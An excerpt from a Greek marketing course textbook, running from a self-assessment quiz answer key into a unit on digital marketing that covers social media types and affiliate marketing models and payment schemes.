ακρίβεια ή αντικειμενικότητα. ΑΠΑΝΤΗΣΗ 6

ΕΡΩΤΗΣΗ

7

ΑΠΑΝΤΗΣΗ 7

Α

δύο

Β

τρείς

Γ

τέσσερις

Η ανταλλαγή είναι η βασική έννοια του μάρκετινγκ.. Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ.

ΕΡΩΤΗΣΗ

8

Το μάρκετινγκ συναλλαγών είναι μέρος της ευρύτερης ιδέας του

μάρκετινγκ σχέσεων.. ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Στις προηγμένες κοινωνίες, οι αγορές δεν χρειάζεται να βρίσκονται στον

ίδια φυσική τοποθεσία με τους αγοραστές και πωλητές

ΑΠΑΝΤΗΣΗ 9

Α

ΣΩΣΤΟ:

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 10

Διαχείριση της ζήτησης σημαίνει διαχείριση πελατών.

ΑΠΑΝΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 9 1:

Απάντηση 1. Α

2

Απάντηση 2. Α

3

Απάντηση 3. Α

4

Απάντηση 4. Α

5

Απάντηση 5. Β

6

Απάντηση 6. Α

7

Απάντηση 7. Α

8

Απάντηση 8 Α

9

Απάντηση 9 Α

10

Απάντηση 10 A

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 10: Ψηφιακό Marketing Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν την εισαγωγή στο Digital Marketing και τα είδη ψηφιακού Marketing. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Εισαγωγή στο Digital Marketing Affiliate Marketing Mobile Marketing content Marketing Email Marketing Video Marketing ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ digital marketing, blogs, microblogging, Social Bookmarking, cookies, Affiliate, affiliate networks, spam, B2C Marketing, Mobile Marketing, Youth Marketing, Brand. Εκπαιδευτική Υποενότητα 10.1 Βασικά Στοιχεία και Ορισμοί Το digital marketing σχετίζεται με την υλοποίηση της ήδη υπάρχουσας στρατηγικής marketing με τη διαφορά ότι αυτή επιτυγχάνεται μέσω ενός ή περισσότερων ηλεκτρονικών μέσων. Το διαδίκτυο αποτελεί ένα διαδραστικό μέσο το οποίο δίνει την δυνατότητα ανταλλαγής πληροφοριών και αξιών. Μέσω του διαδικτύου δίνεται η δυνατότητα στις εταιρείες να αποκτήσουν αξία ανάλογα με την προσοχή και την υποστήριξη που έχει ο κάθε καταναλωτής προς αυτή. Από την άλλη πλευρά ο καταναλωτής μπορεί να αποκτήσει αξία ανάλογα με το επίπεδο χρησιμότητας που του δίνει η εταιρεία. Η μακροχρόνια αύξηση της χρήσης του διαδικτύου έχει αλλάξει ριζικά τον τρόπο με τον οποίο αλληλοεπιδρούν οι εταιρείες με τους καταναλωτές. Το σύνολο των κανόνων του παραδοσιακού marketing, μπορούν να εφαρμοστούν και στο διαδίκτυο. Οι διαφορές του digital marketing με το παραδοσιακό marketing έγκειται τόσο στο κανάλι διανομής με online κανάλια προώθησης όσο και στην ανάλυση που έχουν την δυνατότητα να κάνουν οι εταιρείες στις καμπάνιες που τρέχουν έτσι ώστε να ποσοτικοποιήσουν τα αποτελέσματα. Σήμερα, το digital marketing είναι τόσο διαδεδομένο που θεωρείται βασικό πυλώνα στο business plan των εταιρειών. Οι καταναλωτές μπορούν μέσα από τη χρήση του διαδικτύου να έχουν πρόσβαση σε οποιαδήποτε πληροφορία χρειαστούν. Ο ψηφιακός κόσμος αυξάνεται όλο και περισσότερο σαν πηγή ψυχαγωγίας, ειδήσεων, αγορών και κοινωνικής

αλληλεπίδρασης. Πλέον, οι περισσότεροι καταναλωτές καταχωρούν προσωπικές τους πληροφορίες σε διαδικτυακές πλατφόρμες, είτε αυτές αφορούν τις προτιμήσεις τους, είτε την επαγγελματική τους σταδιοδρομία κλπ. Με αυτό τον τρόπο δίνεται η δυνατότητα στις εταιρείες να παρέχουν προσωποποιημένη επικοινωνία, εξατομικευμένη πληροφόρηση και προσφορές οι οποίες βασίζονται στις ανάγκες και τις προτιμήσεις των καταναλωτών τους. Τα οφέλη του Digital Marketing: 1. Το κόστος που απαιτείται είναι χαμηλό καθώς ο εξοπλισμός είναι μικρής έκτασης και χαμηλού κόστους. 2. Παρέχεται η δυνατότητα ελέγχου του ανταγωνισμού καθώς και η ευκολότερη προσαρμογή της επιχείρησης σε δεδομένες μεταβολές της αγοράς σε σχέση με τις τιμές, τη διανομή και τη διαφήμιση των προϊόντων. 3. Παρέχεται η δυνατότητα στην επιχείρηση να μετρήσει την αποτελεσματικότητα της μέσα από διεξαγωγή ανάλυσης δεδομένων. 4. Κάθε μέλος συμμετέχει σε ένα επιχειρηματικό χώρο στον οποίο υπάρχει η προοπτική χρήσης νέων τεχνολογιών. 5. Κάθε μέλος έχει περισσότερο χρόνο για προσωπική ζωή επενδύοντας ποιοτικό χρόνο στην επιχείρηση του. 6. Το διαδικτυακό marketing παρέχει ίσες ευκαιρίες στους ανθρώπους να διανέμουν προϊόντα και υπηρεσίες. Με τον όρο Social Μedia αναφερόμαστε σε μία αλληλεπίδραση ανθρώπων μέσω διαδικτυακών εφαρμογών. Τα Social Media ή αλλιώς μέσα κοινωνικής δικτύωσης αποτελούν μια κατηγορία on-line μέσων από τα οποία οι άνθρωποι, έχουν τη δυνατότητα να επικοινωνούν, συμμετέχουν και διαμοιράζονται μέσα από πλατφόρμες παραμένοντας άρρηκτα συνδεδεμένοι σε πόρους και ιστοσελίδες. Αυτό το είδος επικοινωνίας επιτρέπει στα άτομα να αλλάζουν ρόλους καθώς μπορούν να έχουν τον ρόλο του κοινού, του συντάκτη και του δημιουργού. Η κοινωνική δικτύωση αποτελεί την συγκέντρωση ή συμμετοχή ατόμων σε συγκεκριμένες ομάδες. Υποστηρίζει ποικιλία μορφών περιεχομένου όπως κείμενο, βίντεο, φωτογραφίες, ήχο, γεωγραφική τοποθεσία κλπ. Πολλά από αυτά κάνουν χρήση περισσοτέρων του ενός από τις παραπάνω επιλογές περιεχομένου. Προκειμένου να εισέλθει ο χρήστης στα Social Media μπορεί να χρησιμοποιήσει διάφορες συσκευές όπως τον ηλεκτρονικό υπολογιστή, το κινητό τηλέφωνο ή το tablet. Social Media vs Social Networks

Με τον όρο Social Media αναφερόμαστε στα εργαλεία μέσα από τα οποία διαμοιράζεται η πληροφορία την δεδομένων και της επικοινωνίας στο κοινό. Αντίθετα με τον όρο Social Network αναφέρουμε τη δημιουργία και αξιοποίηση των κοινοτήτων για τη διασύνδεση ανθρώπων με κοινά ενδιαφέροντα. Μπορεί να γίνει αντιληπτό πως τα Social Media αναφέρονται στα μέσα ενημέρωσης της κοινωνικής δικτύωσης, ενώ το social networking αναφέρεται στη διαδικασία της κοινωνικής δικτύωσης. Τα Social Media είναι ένας συνδυασμός πληροφοριών, τεχνολογίας και διαδικτυακής κοινωνικοποίησης που λειτουργεί μέσα από ιστότοπους δικτύωσης social networking. Μέσα σε αυτές τις πλατφόρμες οι χρήστες

δημιουργούν

λογαριασμούς

στους

οποίους

διαμοιράζονται

προσωπικές

πληροφορίες. Blogs Τα blogs ή ιστολόγια αποτελούν μια από τις πιο παλιές μορφές Social Media. Η ονομασία blog προέρχεται από το αγγλικό web-log και αποτελεί μορφή ιστοχώρου. Ουσιαστικά είναι ιστοσελίδες οι οποίες παρουσιάζουν το περιεχόμενο τους ταξινομημένο με βάση την ημερομηνία σε αντίστροφη χρονολογική σειρά. Τα blogs συνήθως τα διαχειρίζεται ένα μόνο άτομο και το περιεχόμενο τους αφορά την ζωή του συγγραφέα ή σχετίζονται με ένα συγκεκριμένο θεματικό πεδίο. Επίσης δίνεται η δυνατότητα συμμετοχής των αναγνωστών στη σελίδα μέσω σχολίων, δημοσκοπήσεων κλπ. Τις περισσότερες φορές τα blogs περιέχουν κείμενα όμως υπάρχουν και άλλες μορφές για παράδειγμα αυτά που επιτρέπουν τη δημιουργία καναλιών από τους χρήστες. Οι χρήστες μπορούν πολύ εύκολα να ξεκινήσουν το δικό τους ιστολόγιο χωρίς να απαιτείται να έχουν γνώσεις προγραμματισμού. Συνήθως βασίζεται σε φορείς που προσφέρουν συστήματα τα οποία στηρίζονται σε λογισμικό που κάνει την σύνταξη του blog αρκετά απλή διαδικασία. Το αντάλλαγμα τέτοιων φορέων είναι η διαφήμιση στα ιστολόγια. Με αυτή τη διαδικασία μισθώνονται τα περισσότερα ιστολόγια. Ωστόσο, όπως και σε κάθε άλλη ιστοσελίδα έτσι και στα blogs ο διαχειριστής μπορεί να αποκτήσει τον πλήρη έλεγχο του ιστοχώρου. Microblogging Το microblogging είναι ένα είδος μετάδοσης το οποίο έχει σαν βασική φιλοσοφία το παραδοσιακό blogging όμως διαφοροποιείται στο γεγονός πως το περιεχόμενο του είναι περιορισμένο από άποψη μεγέθους κειμένου. Τα microblogs επιτρέπουν στους χρήστες τους να αλληλοεπιδρούν και να ανταλλάσσουν περιεχόμενο όπως μικρές προτάσεις, φωτογραφίες και links. Ο γρήγορος τρόπος ανάγνωσης από τους χρήστες είναι και η βασική αιτία δημοτικότητας του. Η πιο δημοφιλής υπηρεσία microblogging μέχρι σήμερα είναι το

Twitter.com . Μάλιστα στις Ηνωμένες Πολιτείες το Twitter χρησιμοποιήθηκε ως βασική πλατφόρμα προβολής για την τότε υποψηφιότητα του Barack Obama ως υποψήφιος πρόεδρος. Επιπρόσθετα, πολλά ΜΜΕ όπως η New York Times και το BBC, έχουν αρχίσει να στέλνουν τους τίτλους των ειδήσεων μαζί με υπερσυνδέσμους σε πολλές υπηρεσίες microblogging Content Communities Με τον όρο Content Communities αναφερόμαστε σε κοινότητες περιεχομένου οι οποίες έχουν στόχο να επιτρέπουν στους χρήστες τους να διαμοιράζονται αρχεία κάθε μορφής. Οι πιο δημοφιλείς κοινότητες αυτή τη στιγμή είναι το YouTube μέσα από το οποίο δίνεται η δυνατότητα διαμοιρασμού και περιήγησης αρχείων βίντεο. Αντίστοιχα για αρχεία εικόνας η πιο δημοφιλής πλατφόρμα είναι το Flickr, ενώ για PowerPoint παρουσιάσεις είναι το Slide Share. Μετά την εγγραφή στην εκάστοτε πλατφόρμα, ο χρήστης μπορεί να ανεβάσει αρχεία στην κοινότητα, να συμπληρώσει σύντομη περιγραφή, ετικέτες και να τα κάνει δημοσίευση. Σε συνέχεια αυτού, παρέχεται το αντίστοιχο περιεχόμενο για κάθε επισκέπτη της κοινότητας που κάνει σχετικές αναζητήσεις. Σχετικά με τις επιχειρήσεις υπάρχει ο κίνδυνος να χρησιμοποιηθούν οι πλατφόρμες για να διαμοιραστεί προστατευόμενο υλικό. Μολονότι υπάρχουν κανόνες που το απαγορεύουν είναι πολύ δύσκολο να ελεγχθεί κάθε δημοσιοποίηση που γίνεται. Από την άλλη η μεγάλη δημοτικότητα των κοινοτήτων αυτών αποτελεί πόλο έλξης για τις εταιρείες που θέλουν να κάνουν προωθητικές ενέργειες Social Bookmarking Sites Οι ιστοσελίδες Social Bookmarking αποτελούν μια πλατφόρμα που παρέχει σελιδοδείκτες αποθηκευμένες σε κοινόχρηστους διακομιστές προσβάσιμους μέσω διαδικτύο. Με αυτό τον τρόπο ο κάθε χρήστης μπορεί να έχει πρόσβαση είτε στους δικούς του σελιδοδείκτες, είτε σε σελιδοδείκτες που έχουν διαμοιραστεί από άλλους συνδεδεμένους χρήστες. Η πρόσβαση σε τέτοιου είδους υπηρεσίες είναι απλή και μπορεί να γίνει με τους περισσότερους γνωστούς φυλλομετρητές με τη χρήση ειδικών επεκτάσεων. Γνωστοί πάροχοι τέτοιων υπηρεσιών είναι οι Diigo, Delicious, Digg και StumbleUpon. Οι χρήστες μέσα από τους παραπάνω συλλογικούς σελιδοδείκτες έχουν τη δυνατότητα να προσθέσουν, να αφαιρέσουν, να αξιολογήσουν και να σχολιάσουν τους σελιδοδείκτες Social Networking Sites Τα Social Networking Sites αποτελούν online πλατφόρμες στις οποίες οι χρήστες οι χρήστες δημιουργούν ένα προφίλ και με βάση τις πληροφορίες που εισάγουν, τους δίνεται η

δυνατότητα να έρθουν σε επαφή με άλλα άτομα με παρόμοια προσωπικά ή επαγγελματικά ενδιαφέροντα. Τα προσωπικά προφίλ περιλαμβάνουν συνήθως προσωπικά στοιχεία, φωτογραφίες, βίντεο, μουσική και υπερσυνδέσμους. Σήμερα, οι πιο δημοφιλείς σελίδες κοινωνικής δικτύωσης είναι το Facebook, το Youtube, το Instagram, το Qzone, και το Weido. Τα Social Networking Sites είναι πολύ δημοφιλείς σε νεαρά άτομα αλλά και σε πολλές εταιρείες με σκοπό τη δημιουργία κοινοτήτων για λόγους έρευνας και συλλογής στοιχείων. Virtual Game Worlds and Virtual Social Worlds Ο εικονικός κόσμος αποτελεί μια προσομοίωση ενός τρισδιάστατου περιβάλλοντος η οποία δημιουργείται από ηλεκτρονικούς υπολογιστές. Οι χρήστες μπορούν να εμφανίζονται στον εικονικό κόσμο με τη μορφή ενός avatar, αλληλοεπιδρώντας μεταξύ τους ταυτόχρονα, συμμετέχοντας σε δραστηριότητες και επικοινωνώντας με άλλους. Υπό αυτή την οπτική γωνία ο εικονικός κόσμος αποτελεί άλλη μια πλατφόρμα Social Media καθώς παρέχεται υψηλό επίπεδο κοινωνικής παρουσίας. Υπάρχουν δυο διαφορετικές μορφές εικονικών κόσμων Αρχικά, απαιτείται από τους χρήστες να ακολουθούν συγκεκριμένους κανόνες συμπεριφοράς στα πλαίσια ενός παιχνιδιού εικονικού κόσμου. Τέτοιες εφαρμογές έχουν αποκτήσει μεγάλη δημοτικότητα τα τελευταία χρόνια και οι χρήστες μπορούν να εισέλθουν από ηλεκτρονικούς υπολογιστές και κονσόλες παιχνιδιών όπως Sony PlayStation και Microsoft X-Box. Η δεύτερη ομάδα αφορά τον εικονικό κοινωνικό κόσμο (Virtual Social World) στην οποία επιτρέπεται στους χρήστες να επιλέξουν τον τρόπο συμπεριφοράς τους πιο ελεύθερα και ουσιαστικά ζουν μια εικονική ζωή παρόμοια με την πραγματική. Και σε αυτό το είδος εικονικού κόσμου οι χρήστες συμμετέχουν με τη μορφή ενός τρισδιάστατου avatar και επικοινωνούν μεταξύ τους μέσα σε ένα προσομοιωμένο περιβάλλον. Ωστόσο στο περιβάλλον αυτό δεν υπάρχουν κανόνες που να περιορίζουν την συμπεριφορά του κάθε χρήστη. Αυτό έχει ως επακόλουθο οι “κάτοικοι” του εικονικού κοινωνικού κόσμου να παρουσιάζουν συμπεριφορές παρόμοιες με αυτές που παρουσιάζουν στη καθημερινότητα τους. Αξίζει να σημειωθεί πως οι εικονικοί κόσμοι ενέχουν πολλές ευκαιρίες για τις σύγχρονες εταιρείες καθώς αποτελούν ένα νέο κανάλι για επικοινωνία, διαφήμιση και έρευνα αγοράς μεταξύ του καταναλωτικού κοινού και της εκάστοτε εταιρείας. Μερικές από τις δυνατότητες που προσφέρουν τα Social Media στον μέσο χρήστη είναι: 1. Τα Social Media μπορούν να χρησιμοποιηθούν για να βοηθήσουν στην ενημέρωση αλλά και την εκπαίδευση ατόμων από τη μία άκρη της γης στην άλλη σε ελάχιστο χρόνο.

2. Οι χρήστες έχουν τη δυνατότητα να αναρτήσουν περιεχόμενο χωρίς να απαιτείται να έχουν ιδιαίτερες γνώσεις. Το περιεχόμενο αυτό μπορεί να καταγράφει αναμνήσεις και ανακοινώσεις σε σημαντικά γεγονότα. 3. Μέσα από τα Social Media δίνεται η δυνατότητα οργάνωσης και διαφήμισης γεγονότων και εκδηλώσεων. Παρέχονται εργαλεία έτσι ώστε να ενημερωθούν και να προσκληθούν οι άμεσα ενδιαφερόμενοι σχετικά με ένα προγραμματισμένο event. Τα εργαλεία αυτά μπορούν να κάνουν στόχευση σε συγκεκριμένες ομάδες οι οποίες μπορούν να διακριθούν από διάφορα στοιχεία όπως το φύλλο, η ηλικία, τα ενδιαφέροντα, ο επαγγελματικός προσανατολισμός κ.α. 4. Μελέτες έχουν δείξει ότι η χρήση του Twitter έχει συσχετιστεί με θέματα υγείας. Έχει αποτελέσει χώρο μέσα από τον οποίο γίνεται ανταλλαγή πληροφοριών και ανατροφοδότησης σε αρκετές υπηρεσίες υγείας. Εκπαιδευτική Υποενότητα 10.2 Είδη ψηφιακού Μάρκετινγκ Affiliate Marketing Affiliate Marketing είναι ο κλάδος του marketing που στηρίζεται στη λογική της κατανομής των κερδών σε όσους προωθούν ένα προϊόν ή μια υπηρεσία. Με αυτό, όποιος προωθεί, προϊόντα άλλων ανθρώπων ή εταιρειών κερδίζει μια προμήθεια από τα κέρδη. Με το τρόπο αυτό, του δίνεται κίνητρο να προωθήσει κάποιο προϊόν που του αρέσει και θεωρεί ότι έχει, αξία, ενώ ταυτόχρονα ο διαφημιζόμενος κερδίζει, αφού δημιουργεί ένα δίκτυο συνεργατών που έχουν ως στόχο την προώθηση, διαφήμιση και τελικά πώληση του προϊόντος του. Το affiliate marketing είναι ένας τύπος online marketing, όπου μία εταιρεία που συνήθως ονομάζεται διαφημιζόμενος ή merchant συνάπτει μία σύμβαση/συμφωνία με κάποια άλλη εταιρεία που ονομάζεται affiliate ή publisher με σκοπό το δεύτερο συμβαλλόμενο μέρος να τοποθετήσει δημιουργικά του πρώτου στη σελίδα του. Πρωταρχικός σκοπός στο affiliate, marketing είναι η προώθηση και πώληση προϊόντων μέσω καναλιών διανομής, το να στείλει κανείς traffic στη σελίδα του διαφημιζόμενου που θα μετατραπεί σε πωλήσεις με αντίτιμο προμήθεια επί των πωλήσεων αυτών Δεδομένου ότι το βασικό στοιχείο είναι το, performance, που είναι και ο ακρογωνιαίος λίθος του affiliate marketing, συχνά αποκαλείται και performance marketing. Affiliate πρόγραμμα είναι η επιχειρηματική συμφωνία όπου το ένα μέρος (διαφημιζόμενος) συμφωνεί να πληρώνει το άλλο μέρος, (affiliate) ένα ποσό για κάθε επιθυμητή για τον διαφημιζόμενο ενέργεια. Ιστορία του Affiliate Marketing

Η λογική του Affiliate Marketing, ότι δηλαδή ο διαφημιζόμενος δίνει προμήθεια στον διαφημιστή για τους πελάτες που του φέρνει, έχει πολύ μακροβιότερη ιστορία από το, internet, παρόλο που αυτή η μορφή marketing είναι συνδεδεμένη στο μυαλό μας με το digital marketing και τις online πωλήσεις. Αυτό, όμως, που έφερε ο παγκόσμιος ιστός και ουσιαστικά καθιέρωσε και απογείωσε το Affiliate Marketing είναι η ευκολία δημιουργίας και η μετρησιμότητα κάθε καμπάνιας αλλά και η δυνατότητα να χτιστεί ένα πολύ μεγάλο δίκτυο από affiliates και πελάτες σε όλο τον κόσμο. Πάντως, η πατέντα του Affiliate, Marketing, όπως την ξέρουμε σήμερα, ανήκει στον William J. Tobin, ο οποίος με την, ιστοσελίδα PC Flowers & Gifts είχε το 1989 την ιδέα να ανταμείψει όποιον θα κατάφερνε να στείλει επισκέπτες στο συγκεκριμένο online shop για λουλούδια και παράδοση σε οποιοδήποτε μέρος στην Αμερική. Η επανάσταση ήρθε βέβαια το 1996 με την Amazon. Η Amazon λειτουργεί μέχρι σήμερα το δικό της Associates Program, το οποίο δίνει τη δυνατότητα σε όποιον θέλει να ανεβάσει το link της ιστοσελίδας του και να γίνει, διαφημιζόμενος ή να προωθήσει το link με κάποιο προϊόν της Amazon και να κερδίσει χρήματα. Τα cookies βελτίωσαν κατά πολύ την αποδοτικότητα του Affiliate Marketing, αφού πλέον μπορούν να ανιχνευθούν και να αποθηκευτούν πολλές πληροφορίες σχετικά με τη, συμπεριφορά και τις επιθυμίες των χρηστών online. To 1998 δε, δημιουργήθηκαν τα πρώτα Affiliate Networks (Commission Junction και Clickbank), τα οποία παραμένουν από τα, μεγαλύτερα μέχρι και σήμερα. Στο affiliate marketing υπάρχουν τρεις συνισταμένες: 1. ο διαφημιζόμενος (ή αλλιώς Merchant/Advertiser) 2. ο διαφημιστής (ή αλλιώς Affiliate/Publisher) 3. η Affiliate πλατφόρμα/network που συνδέει αυτούς τους δύο, Διαφημιζόμενος μπορεί να είναι οποιαδήποτε εταιρεία διατηρεί ιστοσελίδα, στην οποία ο επισκέπτης/χρήστης μπορεί να πραγματοποιήσει κάποιου είδους ενέργεια. Τις περισσότερες φορές ως ενέργεια θεωρείται η ολοκλήρωση μιας αγοράς. Σε αυτήν την, περίπτωση δηλαδή ο διαφημιζόμενος διατηρεί κάποιο ηλεκτρονικό κατάστημα/e-shop. Αυτός είναι και ο πιο διαδεδομένος τύπος διαφημιζόμενου στο affiliate marketing. Ως ενέργεια όμως δεν θεωρείται μόνο η ολοκλήρωση μίας αγοράς. Σε κάποιες περιπτώσεις, η ενέργεια αυτή μπορεί να είναι η συμπλήρωση μιας φόρμας εγγραφής σε κάποια υπηρεσία, η εκδήλωση ενδιαφέροντος, η εγγραφή του επισκέπτη σε μία ιστοσελίδα ως μέλος, η εγγραφή στο newsletter μίας εταιρείας κλπ. Σε κάποιες, λίγες και μεμονωμένες, περιπτώσεις, η επιθυμητή ενέργεια μπορεί να είναι το click του χρήστη στη σελίδα. Το μοντέλο πληρωμής cost per click (ή pay per click) , παρόλο που είναι το πιο δημοφιλές σε άλλους τύπους online διαφήμισης

(πχ στις μηχανές αναζήτησης) δεν συναντάται συχνά στο affiliate marketing. Οι διαφημιζόμενοι που υιοθετούν αυτό το μοντέλο είναι γιατί είτε δεν υπάρχει κάποια άλλη ενέργεια που μπορεί να ολοκληρωθεί στην ιστοσελίδα τους είτε, χρησιμοποιείται συνδυαστικά με κάποιο CPA μοντέλο προς ενίσχυση του affiliate προγράμματος έναντι των ανταγωνιστών του. Oι affiliates ή αλλιώς associates ή publishers είναι ανεξάρτητοι μάρκετερς που επιλέγουν να προωθούν μια επιχείρηση και πληρώνονται με βάση κάποιο από τα μοντέλα πληρωμής που έχει οριστεί από τους διαφημιζόμενους. Είναι οι πωλητές μιας επιχείρησης, αντιπρόσωποι, ή πολύτιμοι συνεργάτες που προωθούν ένα brand και μια επιχείρηση, επενδύοντας οι ίδιοι χρήματα για να πουλήσουν τα προϊόντα ή υπηρεσίες των διαφημιζόμενων. Είναι άνθρωποι που ασχολούνται με το marketing, που επιλέγουν ποια προγράμματα θα προωθήσουν, ποια θα απορρίψουν ή θα σταματήσουν. Είναι αυτό-διοικούμενοι δεν είναι υπόλογοι για, τις επιδόσεις τους. Η ανεξαρτησία που διέπει τους affiliates τους κάνει να αναπτύσσονται από κίνητρα που προέρχονται από τους ίδιους. Αυτή η έλλειψη επιρροής και ελέγχου από τα πάνω προς τα κάτω δεν πλήττει την παραγωγικότητά τους, αλλά αντίθετα τους κάνει να θέτουν και να επιτυγχάνουν στόχους που ίσως δεν θα ήταν εφικτοί με διαφορετικό τρόπο. Affiliate μπορεί να είναι ένα κάποιο site, κάποιος που έχει data base και στέλνει e-mails (email/newsletter affiliate) και οποιοδήποτε site περιεχομένου που προσφέρει στους, χρήστες του στοχευμένες πληροφορίες και επαγγελματισμό. Ο Affiliate προωθεί το προϊόν online με διάφορους τρόπους. Αναλυτικότερα: •

Μπορεί να έχει ένα banner στο site του, με το οποίο να στέλνει/δρομολογεί traffic στο site του διαφημιζόμενου.

•

Μπορεί να έχει blog, στο οποίο να γράφει άρθρα που παρουσιάζουν και, διαφημίζουν το προϊόν ή κάνουν έμμεσο marketing προσφέροντας χρήσιμες συμβουλές και tips πάνω σε αυτόν τον κλάδο.

•

Εκτός από την ιστοσελίδα ή το blog, που αποτελούν τις πιο συχνές αφετηρίες της, καμπάνιας του Affiliate Marketing, η άνθιση των social media τα έχει φέρει και αυτά στο προσκήνιο, οπότε affiliate μπορεί να γίνει και κάποιος που διατηρεί σελίδα στο Facebook ή κάποιο account σε άλλο μέσο κοινωνικής δικτύωσης.

Δύο είναι τα σημαντικότερα στοιχεία που πρέπει να θυμάται ο Affiliate. Σε όποια προωθητική ενέργεια κάνει να βάζει το affiliate link προς το διαφημιζόμενο προϊόν. Να προωθεί προϊόντα και υπηρεσίες σε έναν κλάδο που τον γνωρίζει και ο οποίος είναι συναφής με το αντικείμενό του. Μόνο έτσι θα μπορέσει να δημιουργήσει περιεχόμενο που έχει αξία, να προσελκύσει

κοινό και τελικά να παραπέμψει αυτό το κοινό στον, διαφημιζόμενο. Η δραστηριότητα των affiliates συμβάλει καθοριστικά στην αύξηση των, πωλήσεων μιας επιχείρησης. Οι affiliates αναλαμβάνουν οι ίδιοι τα έξοδα προώθησης και marketing της σελίδας τους με σκοπό να φέρουν πωλήσεις στους διαφημιζόμενους και αναλαμβάνουν το όποιο ρίσκο προκύψει. Εάν πετύχουν, κερδίζουν χρήματα, εάν όχι, χάνουν χρήματα. Δεν υπάρχουν προϋποθέσεις ή περιορισμοί στο πόσα χρήματα μπορεί να ξοδέψει ή να κερδίσει ο affiliate. O affiliate αναζητά το καλύτερο δυνατό αποτέλεσμα και κερδίζει προμήθεια για κάθε πώληση που θα φέρει. Αυτή είναι άλλωστε η ουσία του, affiliate marketing. Οι affiliates μπορεί να διαφέρουν ως προς τις δραστηριότητές τους αλλά το σίγουρο είναι, ότι δεν περιορίζονται απλά στο να οδηγούν επισκέπτες σε άλλες σελίδες. Αντίθετα, παρουσιάζουν προϊόντα στους επισκέπτες τους προσφέροντας τους μία ανεξάρτητη γνώμη ενός τρίτου μέρους. Το μοντέλο του affiliate marketing βασίζεται στη διαφάνεια και την, εμπιστοσύνη. Οι affiliates πρέπει να είναι βέβαιοι ότι πληρώνονται για όλες τις πωλήσεις που κάνουν και ότι το traffic που στέλνουν στους διαφημιζόμενους καταγράφεται σωστά, καθώς αυτό έχει άμεση επίπτωση στις προμήθειες που κερδίζουν. Διακρίνονται οι εξής τύποι affiliates: 1. Sites περιεχομένου 2. Sites με προσφορές – κουπόνια (Coupon sites) 3. PPC Affiliates, e-mail/newsletter affiliates 4. Social Media Affiliates 5. Shopping Services Sites 6. Loyalty Affiliate Sites/Cashback Sites/Incentive affiliates Στο affiliate marketing συμμετέχουν χιλιάδες διαφημιζόμενοι και χιλιάδες affiliates οι, οποίοι προωθούν ταυτόχρονα πολλούς διαφορετικούς διαφημιζόμενους στέλνοντάς τους επισκέπτες και πωλήσεις με ανταλλαγή προμήθεια επί των πωλήσεων. Οι σχέσεις μεταξύ διαφημιζόμενων και affiliates διοικούνται τις περισσότερες φορές μέσω των affiliate, δικτύων (affiliate networks). Τα affiliate δίκτυα παρέχουν την τεχνολογία ώστε να υποστηρίξουν την καταγραφή των ενεργειών καθώς και τις συναλλαγές που γίνονται. Επίσης, διαχειρίζονται και υπολογίζουν τις προμήθειες και στις περισσότερες περιπτώσεις, την έκδοση των παραστατικών πληρωμής αλλά και την αποστολή των πληρωμών.

Επιπλέον, διευκολύνουν τη διαδικασία συμμετοχής των affiliates στα προγράμματα των, διαφημιζόμενων (όταν ένας affiliate θέλει να προωθήσει έναν διαφημιζόμενο) καθώς και την πρόσβασή τους στα δημιουργικά προώθησης (banners, σύνδεσμοι κειμένου, feeds). Τα δίκτυα ουσιαστικά διευκολύνουν όλη τη διαδικασία μεταξύ των δύο πλευρών. Διαφημιστικές καμπάνιες που υποστηρίζονται Οι διαφημιστικές καμπάνιες που υποστηρίζονται από το Affiliate Marketing είναι οι ακόλουθες: 1. Cost Per Click (CPC): Σε αυτές τις καμπάνιες, ο affiliate κερδίζει ένα συγκεκριμένο ποσό για κάθε κλικ που πραγματοποιείται πάνω στο σύνδεσμο του, διαφημιζόμενου, ο οποίος βρίσκεται σε banner, κείμενο ή κάποια εικόνα. Είναι η πιο απλή μορφή καμπάνιας, γιατί βασίζεται στην επισκεψιμότητα που φέρνει ο affiliate χωρίς να δίνεται βάση στη μετατροπή της σε πωλήσεις και ως εκ τούτου, αποδίδει το χαμηλότερο ποσό ανά click. 2. Cost Per Action/ Cost Per Lead (CPA/CPL): Ο affiliate πληρώνεται όταν ο επισκέπτης στη σελίδα του διαφημιζόμενου ολοκληρώσει μια ενέργεια, η οποία, έχει οριστεί εκ των προτέρων. Τέτοια ενέργεια μπορεί να είναι η εγγραφή σε email list ή newsletter ή η εγγραφή μέλους. 3. Cost Per Sale (CPS): Η καμπάνια cost per sale είναι ουσιαστικά είδος της προηγούμενης, αφού ο affiliate παίρνει προμήθεια, αν γίνει μια συγκεκριμένη, ενέργεια, δηλαδή online πώληση στο e-shop του διαφημιζόμενου. Πρόκειται για στοχευμένες καμπάνιες που απαιτούν υψηλό ποσοστό μετατροπής των επισκεπτών σε πελάτες (conversion rate), αλλά αμείβονται καλά. 4. Revenue Sharing (REVSHARE): Το είδος αυτό καμπάνιας Affiliate Marketing είναι δημοφιλές σε κερδοφόρες online επιχειρήσεις που δεν πραγματοποιούν απλώς συγκεκριμένες πωλήσεις, αλλά παρέχουν συνεχείς υπηρεσίες, όπως για, παράδειγμα τα site με τυχερά παιχνίδια. Ο διαφημιζόμενος μοιράζεται ένα ποσοστό των κερδών του με τον affiliate. 5. Cost Per Thousand (CPT): Πρόκειται για Cost Per View (CPV) καμπάνιες, στις, οποίες ο affiliate αμείβεται με βάση τις εμφανίσεις μιας διαφήμισης. Επειδή η πορεία από την εμφάνιση μιας διαφήμισης μέχρι την επίτευξη πώλησης είναι πολύ μακριά με χαμηλό ποσοστό μετατροπής, η αμοιβή του affiliate γίνεται ανά χίλιες, εμφανίσεις μια διαφήμισης.

